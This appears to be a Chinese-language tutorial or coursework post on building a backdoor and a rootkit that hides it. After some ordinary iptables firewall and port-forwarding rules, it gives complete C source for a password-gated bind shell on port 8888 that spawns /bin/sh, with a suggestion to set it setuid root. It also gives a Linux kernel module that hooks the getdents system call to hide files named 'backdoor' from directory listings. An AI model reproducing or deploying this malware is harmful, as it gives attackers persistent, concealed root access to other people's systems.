实现后门程序以及相应的rootkits,实现对后门程序的隐藏
iptables的一些命令:
a. a) 使用规则实现外网不能访问本机,但是本机主动发起的连接正常进行。
sudo iptables –A INPUT -p tcp —tcp —syn -j DROP
a. b) 使用规则限制对icmp echo request的回复为一分钟5次,从而降低攻击风险。
sudo iptables -A INPUT -p icmp —icmp-type echo-request –m limit —limit-burst 5 -j ACCEPT
sudo iptables -A INPUT -p icmp —icmp-type echo-request -j DROP
c) 使用规则实现对一台内网主机的网页代理。例,通过访问A(电脑的未开放的4567端口,实际可以访问到B电脑的80端口上的网页。
iptables -t nat -A PREROUTING -d 10.211.55.3 -p tcp -m tcp —dport 4567 -j DNAT —to-destination 10.211.55.1:80
iptables -t nat -A POSTROUTING -d 10.211.55.1 -p tcp -m tcp —dport 80 -j SNAT —to-source 10.211.55.3:80
src_ip="192.168.10.220" proxy_ip="192.168.10.146" dest_ip="166.111.4.100" echo 1 > /proc/sys /net/ipv4/ip_forward iptables -t nat -F iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --dport 4567 -j DNAT --to-destination $dest_ip:80 iptables -t nat -A POSTROUTING -d $dest_ip -p tcp -m tcp --dport 80 -j SNAT --to-source $proxy_ip:4567 iptables -t nat -A PREROUTING -d $proxy_ip -p tcp -m tcp --sport 80 -j DNAT --to-destination $src_ip iptables -t nat -A POSTROUTING -d $src_ip -p tcp -m tcp --sport 80 -j SNAT --to-source $proxy_ip:4567 |
一:后门程序:获得一个shell ,可以通过修改文件权限为4755,获得root shell
#include <stdio.h> #include <sys/socket.h> #include <unistd.h> #include <sys/types.h> #include <netinet/in.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { int i, listenfd, goshyoujinnsama; pid_t pid; int len = 128; int port=8888; char buf[len]; socklen_t len2; struct sockaddr_in s_addr; struct sockaddr_in c_addr; char enterpass[32]="Stop! who are you ?"; char welcome[32]="Welcome,master!"; char password[5]="11111"; char sorry[32]="heheda !"; //IPV4,套接口类型为SOCK_STREAM,协议类型不指定 listenfd = socket(AF_INET,SOCK_STREAM,0); if (listenfd == -1){ exit(1); } bzero(&s_addr,sizeof(s_addr)); s_addr.sin_family=AF_INET; //tcp/ip类型 s_addr.sin_addr.s_addr=htonl(INADDR_ANY); s_addr.sin_port=htons(port); if (bind(listenfd, (struct sockaddr *)&s_addr, sizeof(s_addr)) == -1){ exit(1); } //创建一个套接口并监听申请的连接,listenfd:已捆绑未连接套接口的描述字,20:等待连接队列的最大长度 if (listen(listenfd, 20)==-1){ exit(1); } len2 = sizeof(c_addr); while(1){ //接收一个套接口中已经建立的连接,返回所接受包的socket类型值。accept函数主要用于服务器端,一般位于listen函数之后,默认会阻塞进程,直到有一个客户请求连接,建立好连接后,它返回的一个新的套接字 socketfd_new ,此后,服务器端即可使用这个新的套接字socketfd_new与该客户端进行通信,而sockfd 则继续用于监听其他客户端的连接请求。 goshyoujinnsama = accept(listenfd, (struct sockaddr *)&c_addr, &len2); //计算机程序调用的分叉函数,若成功调用,子进程返回0,父进程返回子进程标记。失败返回-1 if((pid = fork()) > 0) { exit(0); }else if(!pid){ close(listenfd); write(goshyoujinnsama, enterpass, strlen(enterpass)); memset(buf,'\0', len); read(goshyoujinnsama, buf, len); if (strncmp(buf,password,5) !=0){ write(goshyoujinnsama, sorry, strlen(sorry)); close(goshyoujinnsama); exit(0); }else{ write(goshyoujinnsama, welcome, strlen(welcome)); dup2(goshyoujinnsama,0); dup2(goshyoujinnsama,1); dup2(goshyoujinnsama,2); execl("/bin/sh", "toSyojinn", (char *) 0); } } } close(goshyoujinnsama); }
二:通过修改系统调用表的getdents函数,使系统调用ls 不能显示攻击者指定的文件,其余文件正常显示
#include <linux/module.h> #include <linux/kernel.h> #include <asm/unistd.h> #include <linux/types.h> #include <linux/sched.h> #include <linux/dirent.h> #include <linux/string.h> #include <linux/file.h> #include <linux/fs.h> #include <linux/list.h> #include <asm/uaccess.h> #include <linux/unistd.h> #include <linux/slab.h> #include <linux/init.h> #include <linux/stddef.h> #include <linux/mm.h> #include <linux/in.h> #include <asm/processor.h> #include <linux/proc_fs.h> struct linux_dirent{ unsigned long d_ino; unsigned long d_off; unsigned short d_reclen; char d_name[1]; }; static unsigned long ** sys_call_table; long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count); void disable_write_protection(void) { unsigned long cr0 = read_cr0(); clear_bit(16, &cr0); write_cr0(cr0); } void enable_write_protection(void) { unsigned long cr0 = read_cr0(); set_bit(16, &cr0); write_cr0(cr0); } void * get_lstar_sct_addr(void) { //msr寄存器地址 u64 lstar; u64 index; //获得sys_call表的地址 /*可获得系统调用的入口地址, 然后对该入口地址进行解析得 到入口函数为system_call*/ rdmsrl(MSR_LSTAR, lstar); /*从0中断服务程序system_call的地址 开始搜索硬编码 \xff\x14\xc5, 这块硬编码的后面紧接着就是系统调用表的地址 */ for (index = 0; index <= PAGE_SIZE; index += 1) { u8 *arr = (u8 *)lstar + index; //通过sys_call获取sys_call_table特征码 if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { return arr + 3; } } return NULL; } unsigned long ** get_lstar_sct(void) { unsigned long *lstar_sct_addr = get_lstar_sct_addr(); if (lstar_sct_addr != NULL) { u64 base = 0xffffffff00000000; u32 code = *(u32 *)lstar_sct_addr; return (void *)(base | code); } else { return NULL; } } asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp, unsigned int count){ struct linux_dirent *td,*td1,*td2,*td3; int number; int copy_len = 0; // 调用原始的系统调用,下面对返回结果进行过滤 number = (*old_getdents) (fd, dirp, count); ////调用sys_getdents,返回该目录文件下写入目录的总字节数 if (!number) return (number); // 分配内核空间,并把用户空间的数据拷贝到内核空间 GFP_KERNEL:当前进程在少内存的情况下通过休眠来等待一页 td2 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL); td1 = (struct linux_dirent *) kmalloc(number, GFP_KERNEL); td = td1; td3 = td2; //*td2是内核空间的指针,*dirp是用户空间指针,n表示从用户空间想内核空间拷贝数据的字节数。 copy_from_user(td2, dirp, number); while(number>0){ number = number - td2->d_reclen; //printk("%s\n",td2->d_name); if(strstr(td2->d_name,"backdoor") == NULL){ //由td2所指内存区域复制td2->dreclen字节到td1区域 memmove(td1, (char *) td2 , td2->d_reclen); td1 = (struct linux_dirent *) ((char *)td1 + td2->d_reclen); copy_len = copy_len + td2->d_reclen; } td2 = (struct linux_dirent *) ((char *)td2 + td2->d_reclen); } // 将过滤后的数据拷贝回用户空间 copy_to_user(dirp, td, copy_len); kfree(td); kfree(td3); return (copy_len); } static int filter_init(void) { sys_call_table = get_lstar_sct(); if (!sys_call_table) { return 0; } else{ old_getdents = (void *)sys_call_table[__NR_getdents]; disable_write_protection(); sys_call_table[__NR_getdents] = (unsigned long *)&my_getdents; enable_write_protection(); return 0; } } static void filter_exit(void) { disable_write_protection(); sys_call_table[__NR_getdents] = (unsigned long *)old_getdents; enable_write_protection(); } MODULE_LICENSE("GPL"); module_init(filter_init); module_exit(filter_exit);